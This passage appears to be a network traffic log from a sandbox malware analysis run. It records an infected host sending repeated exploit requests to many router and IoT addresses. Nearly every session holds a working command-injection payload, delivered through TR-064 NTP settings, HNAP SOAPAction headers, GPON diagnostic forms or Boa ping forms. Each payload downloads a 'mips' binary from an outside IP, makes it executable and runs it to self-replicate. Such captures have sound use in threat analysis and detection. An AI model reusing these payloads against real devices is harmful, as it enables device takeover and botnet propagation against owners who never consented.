50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Apr 15, 2024 08:52:36.076133966 CEST	36	IN	HTTP/1.1 404 Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port
265	192.168.2.13	50842	99.228.23.31	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:35.798377991 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
266	192.168.2.13	48210	45.223.123.101	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:35.809340954 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
267	192.168.2.13	40574	61.220.140.152	8081

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:35.844145060 CEST	773	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Apr 15, 2024 08:52:36.125232935 CEST	327	IN	HTTP/1.0 400 Bad Request Date: Mon, 15 Apr 2024 06:52:35 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 63 6c 69 65 6e 74 20 68 61 73 20 69 73 73 75 65 64 20 61 20 6d 61 6c 66 6f 72 6d 65 64 20 6f 72 20 69 6c 6c 65 67 61 6c 20 72 65 71 75 65 73 74 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Your client has issued a malformed or illegal request.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
268	192.168.2.13	46458	115.23.216.29	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:35.906618118 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
269	192.168.2.13	48222	45.223.123.101	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:35.997250080 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
270	192.168.2.13	36240	14.43.226.5	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:36.077553988 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
271	192.168.2.13	52654	14.85.46.227	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:36.086802959 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
272	192.168.2.13	40578	212.9.102.39	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:36.090066910 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
273	192.168.2.13	36250	14.43.226.5	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:36.365070105 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
274	192.168.2.13	52664	14.85.46.227	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:36.382522106 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
275	192.168.2.13	40588	212.9.102.39	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:36.383385897 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:37.888463974 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
276	192.168.2.13	57896	174.129.15.207	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:36.405596018 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:37.536454916 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:37.752373934 CEST	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Mon, 15 Apr 2024 06:52:37 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
277	192.168.2.13	51412	213.243.15.92	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:36.498934984 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
278	192.168.2.13	47648	176.197.62.75	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:36.718705893 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:37.117830038 CEST	69	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
279	192.168.2.13	55762	93.71.242.95	8081

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:36.748701096 CEST	785	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Apr 15, 2024 08:52:37.092212915 CEST	365	IN	HTTP/1.0 404 Not Found Content-Type: text/html X-Frame-Options: SAMEORIGIN Date: Mon, 15 Apr 2024 06:52:36 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Accept-Ranges: bytes Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 66 66 66 66 66 66 22 3e 0a 20 20 3c 68 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0a 20 20 3c 70 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head> <title>404 Not Found</title></head><body bgcolor="#ffffff"> <h2>404 Not Found</h2> <p></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
280	192.168.2.13	39182	163.123.13.61	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:36.946645975 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
281	192.168.2.13	42626	148.101.85.20	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:36.953699112 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
282	192.168.2.13	59248	191.19.45.199	7547

Timestamp	Bytes transferred	Direction	Data
